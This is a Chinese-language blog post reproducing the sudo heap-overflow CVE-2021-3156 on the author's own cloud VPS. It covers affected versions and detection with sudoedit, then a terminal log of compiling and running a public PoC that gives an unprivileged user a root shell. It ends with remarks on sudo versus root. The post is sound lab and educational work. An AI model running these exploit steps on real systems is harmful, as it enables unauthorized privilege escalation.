复现--Linux sudo权限提升漏洞(CVE-2021-3156)
前言网上已经有了很多的相关复现文章,但是还是有一些疑问,比如:普通用户如果有sudo权限的话,已经可以执行root用户能执行的命令,再去提权好像意义不大环境准备华为云VPS(Ubuntu 18.04.4 LTS、Sudo version 1.8.21p2)创建新用户test-1(无sudo权限)下载大佬的EXP(没办法,自己太菜了)开始提权test-1@dreamer:/home$ cd test
前言
网上已经有了很多的相关复现文章,但是还是有一些疑问,比如:
- 普通用户如果有
sudo
权限的话,已经可以执行root用户能执行的命令,再去提权好像意义不大。
漏洞概述
该漏洞是类Unix操作系统在命令参数中转义反斜杠时存在基于堆的缓冲区溢出漏洞。当sudo
通过-s
或-i
命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s
或 -i
标志运行sudoedit
时,实际上并未进行转义,从而可能导致缓冲区溢出。
只要存在sudoers文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。
影响版本
sudo 1.8.2 - 1.8.31p2
sudo 1.9.0 - 1.9.5p1
漏洞检测
1.查看版本
sudo --version
2. 执行sudoedit -s /
命令看报错
使用非root的账户登录系统,运行sudoedit -s /
命令
若返回以sudoedit:
开头的错误,则当前系统可能存在安全风险。
不受影响的系统将显示以usage:
开头的错误响应。
(不知道为啥我验证的时候并没有报错,直接提示我输入密码…,但是sudo版本在影响范围内)
环境准备
-
华为云VPS(Ubuntu 18.04.4 LTS、Sudo version 1.8.21p2)
-
创建新用户
test-1
(无sudo权限) -
下载大佬的EXP(没办法,自己太菜了)
开始
test-1@dreamer:/home$ cd test-1/
test-1@dreamer:~$ ls
CVE-2021-3156_nss_poc_ubuntu.tar.gz
test-1@dreamer:~$ tar -zxvf CVE-2021-3156_nss_poc_ubuntu.tar.gz
CVE-2021-3156/
CVE-2021-3156/hax.c
CVE-2021-3156/lib.c
CVE-2021-3156/Makefile
test-1@dreamer:~$ ls
CVE-2021-3156 CVE-2021-3156_nss_poc_ubuntu.tar.gz
test-1@dreamer:~$ cd CVE-2021-3156/
test-1@dreamer:~/CVE-2021-3156$ ls
hax.c lib.c Makefile
解压后,进入文件夹开始编译:
test-1@dreamer:~/CVE-2021-3156$ make
rm -rf libnss_X
mkdir libnss_X
gcc -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
test-1@dreamer:~/CVE-2021-3156$ ls
Makefile hax.c lib.c libnss_X sudo-hax-me-a-sandwich
执行sudo-hax-me-a-sandwich
:
test-1@dreamer:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 0
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
using target: 'Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31'
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# id
uid=0(root) gid=0(root) groups=0(root),1003(test-1)
#
成功
其它
1:
- 普通用户采用以上方法提权时需要在exp执行的目录有权限(比如自己的家目录),否则编译时会提示无权创建文件夹等错误
2:
如果普通用户有sudo
权限(即用户已经写入/etc/sudoers
文件中)再用此漏洞提权并不是多此一举。
(刚开始想着都有sudo
权限了,可以执行root
用户所能执行的命令还提什么权啊)
查了之后知道sudo并不是能执行root所有的命令,(或者说不是所有命令都能加sudo前缀的)如fdisk磁盘分区工具。root是可以对任何文件进行删除的,更可以删除系统文件导致无法启动。相反普通用户和sudo命令都无法进行删除的。
具体区别可以参考:
当然,有sudo权限已经可以做很多事情了。
问题
-
复现的时候发现sudo后边好像不能跟cd命令,不能通过执行
sudo cd
进root用户组的目录看了相关文章说是sudo权限没法带进目录,user和group为root的目录就只能在su
的情况下进,sudo cd
是不允许的原因:
cd是shell的内置命令不是程序所以sudo
不行
相关链接:
更多推荐
所有评论(0)